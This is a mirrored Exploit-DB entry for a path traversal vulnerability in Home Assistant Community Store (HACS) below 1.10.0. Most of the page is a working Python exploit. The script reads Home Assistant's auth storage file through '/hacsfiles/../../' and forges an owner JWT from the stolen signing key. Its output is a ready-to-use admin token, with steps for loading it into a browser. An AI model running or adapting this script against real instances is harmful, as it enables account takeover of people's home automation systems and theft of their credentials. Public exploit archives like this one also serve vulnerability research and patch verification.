Home Assistant Community Store (HACS) 1.10.0 – Directory Traversal

  • 作者: Lyghtnox
    日期: 2021-01-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49495/
  • # Exploit Title: Home Assistant Community Store (HACS) 1.10.0 - Path Traversal to Account Takeover
    # Date: 2021-01-28
    # Exploit Author: Lyghtnox
    # Vendor Homepage: https://www.home-assistant.io/
    # Software Link: https://github.com/hacs/integration
    # Version: < 1.10.0
    # Tested on: Raspbian + Home Assistant 2021.1.0
    # Blog post: https://lyghtnox.gitlab.io/posts/hacs-exploit/
    
    # STEP 1: Run the exploit (python3 exploit.py host port)
    # STEP 2: Copy the token printed and set in your browser's local storage with
    # the key `hassTokens`
    
    import requests
    import jwt
    import json
    import argparse
    
    
    class HA:
    def __init__(self, ip, port):
    self.ip = ip
    self.port = port
    
    def retrieveFile(self, f):
    url = f'http://{self.ip}:{self.port}/hacsfiles/../../{f}'
    with requests.Session() as s:
    r = requests.Request(method='GET', url=url)
    prep = r.prepare()
    prep.url = url
    try:
    r = s.send(prep, verify=False)
    except requests.exceptions.ConnectionError:
    return
    if r.status_code == 400 or r.status_code == 404:
    return
    return r
    
    def craftToken(self):
    f = self.retrieveFile('.storage/auth').json()
    
    # Find owner
    for user in f['data']['users']:
    if user['is_owner']:
    self.owner = user['id']
    break
    else:
    print("No owner found. Using first account")
    self.owner = f['data']['users'][0]['id']
    
    for token in f['data']['refresh_tokens']:
    if self.owner == token['user_id']:
    encoded_jwt = jwt.encode({'iss': token['id']},
     token['jwt_key'],
     algorithm="HS256")
    self.token = {'access_token': encoded_jwt,
    'token_type': 'Bearer',
    'refresh_token': token['token'],
    'expires_in': 1800,
    'hassUrl': f"http://{self.ip}:{self.port}",
    'clientId': token['client_id']}
    return self.token
    
    
    if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit a vulnerability in \
    HACS < 1.10.0 to gain admin access to an Home Assistant instance.")
    parser.add_argument("host", type=str, help="IP of the HASS instance")
    parser.add_argument("port", type=int, help="port of the HASS instance")
    args = parser.parse_args()
    
    r = requests.get('http://{ip}:{port}/hacsfiles/iconset.js'.format(
    ip=args.host,
    port=args.port))
    if r.status_code != 404:
    print("HACS found! Testing vulnerability...", end='', flush=True)
    ha = HA(args.host, args.port)
    if ha.retrieveFile('configuration.yaml'):
    print(": VULNERABLE")
    token = ha.craftToken()
    if token:
    print(f"Use the following 'hassTokens': {json.dumps(token)}")
    else:
    print("Unable to craft token")
    else:
    print(": Not vulnerable")